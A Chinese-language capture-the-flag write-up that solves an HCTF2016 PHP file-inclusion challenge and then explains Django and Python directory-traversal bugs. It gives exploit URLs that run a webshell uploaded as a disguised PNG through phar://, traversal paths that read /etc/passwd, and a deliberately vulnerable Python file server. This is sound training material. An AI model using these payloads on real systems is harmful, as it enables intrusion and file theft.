原題HCTF2016 兵者多詭
項目地址:https://github.com/Heart-Sky/HCTF2016-LFI
1.收集題目信息
題目上傳圖片,先簡單抓包
發現包中URL進行了兩次變化:
2.分析
結合上面的抓包,內容聯想是否是文件包含題目
首先猜測
?fp=show.php
返回結果一樣,包含失敗
嘗試修改為
?fp=./show
返回數據包中出現重定向,說明存在文件
這樣一來可以確定的是題目考點是文件包含
3.讀取源碼
逐個嘗試
最后base64解密得到./show的源碼:
<?php $imagekey = $_GET['imagekey']; if(empty($imagekey)) { echo "<script>location.href='home.php'</script>"; exit; } ?> <div class="alert alert-success" role="alert"> 上傳成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">點此查看</a> </div>
同理發現./upload訪問后也重定向
包含得源碼
<?php include 'function.php'; if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name'])) { $name = $_FILES['image']['tmp_name']; $type = $_FILES['image']['type']; $size = $_FILES['image']['size']; if(!is_uploaded_file($name)) { ?> <div class="alert alert-danger" role="alert">圖片上傳失敗,請重新上傳</div> <?php exit; } if($type !== 'image/png') { ?> <div class="alert alert-danger" role="alert">只能上傳PNG圖片</div> <?php exit; } if($size > 10240) { ?> <div class="alert alert-danger" role="alert">圖片大小超過10KB</div> <?php exit; } $imagekey = create_imagekey(); move_uploaded_file($name,"uploads/$imagekey.png"); echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>"; } ?>
分析源碼可以看見,題目要求只能上傳png后綴圖片,且大小不超過10KB。對比一下自己寫的圖片馬,肯定都是大於10KB無法上傳的。
4.偽協議的利用
PHP中的ZIP偽協議可以讀取調用壓縮包中的文件,zip://
事先准備好php的webshell,壓縮成zip,上傳繞過前端的驗證
錯誤的繞過:
修改了文件類型,解析的時候會出問題
正確的繞過:壓縮后修改后綴名,參考:如何偽裝壓縮文件為圖片
訪問的圖片URL:
詳細包含示例:
#號后面是壓縮包里的文件1.php,讀取的時候只有文件名1,不需要后綴(上面為了便於理解加了.php)
嘗試包含但是zip無法使用,就替換成類似的phar://
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=phpinfo();
http://www.youkilearning.top:8000/12/home.php?fp=phar://uploads/03e4fd0754f76d21773acf0a0d7f073645ae7552.png/a&cmd=system(ls);
看到目錄下的flag文件,直接源碼包含
http://www.youkilearning.top:8000/12/home.php?fp=php://filter/convert.base64-encode/resource=./Th1s_1s_F1a9
得到
Q29uZ3JhdHVsYXRpb25zLGZsYWcgaXMgaGVyZSxhbmQgdGhlbj8KPD9waHAKLy9oY3Rme1RoMXNfMXNfZTRzWV8xc19uMFRfMXQ/fQo/Pgo= Congratulations,flag is here,and then? <?php //hctf{Th1s_1s_e4sY_1s_n0T_1t?} ?>
原題PWNHUB-Classroom
找不到原題沒法復現,就把要點拆開來分析
1.Django目錄遍歷漏洞
1.靜態資源邏輯配置錯誤
Python框架靜態資源目錄不安全配置導致(不方便復現就沒有復現):
URL:
/static/../../../../../../etc/passwd
../和./作用相同,不斷向上跳轉目錄,直到到系統達根目錄,根目錄的父目錄還是根目錄自己,此時我們便能讀取敏感信息路徑
2.普通目錄遍歷
環境Python2,代碼:
# -*- coding: utf-8 -*-
import sys
import SocketServer import BaseHTTPServer import threading import time import exceptions import os class MyHttpRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() if os.path.isfile(self.path): file = open(self.path) self.wfile.write(file.read()) file.close() else: self.wfile.write('hello world') class ThreadedHttpServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): __httpd = None @staticmethod def get(): if not ThreadedHttpServer.__httpd: ThreadedHttpServer.__httpd = ThreadedHttpServer(('0.0.0.0', 80), MyHttpRequestHandler) return ThreadedHttpServer.__httpd def main(): try: httpd = ThreadedHttpServer.get() httpd.serve_forever() except exceptions.KeyboardInterrupt: httpd.shutdown() except Exception as e: print e if __name__ == '__main__': main()
關鍵代碼:
if os.path.isfile(self.path):
file = open(self.path) self.wfile.write(file.read()) file.close()
當路徑下存在文件時,讀取並顯示
URL:
127.0.0.1/././././././etc/passwd
2.Pyc字節碼反編譯
Python3在運行Python文件時,會對運行的模塊進行緩存,並存放在_pycache_目錄下
其命名規則:
module_name一般是Python文件的名稱
知道以上內容,可以使用https://tool.lu/pyc/進行在線反編譯
3.Django的ORM注入漏洞
關於這一點網上資料甚少,只有講解最基礎的ORM:Django的ORM理解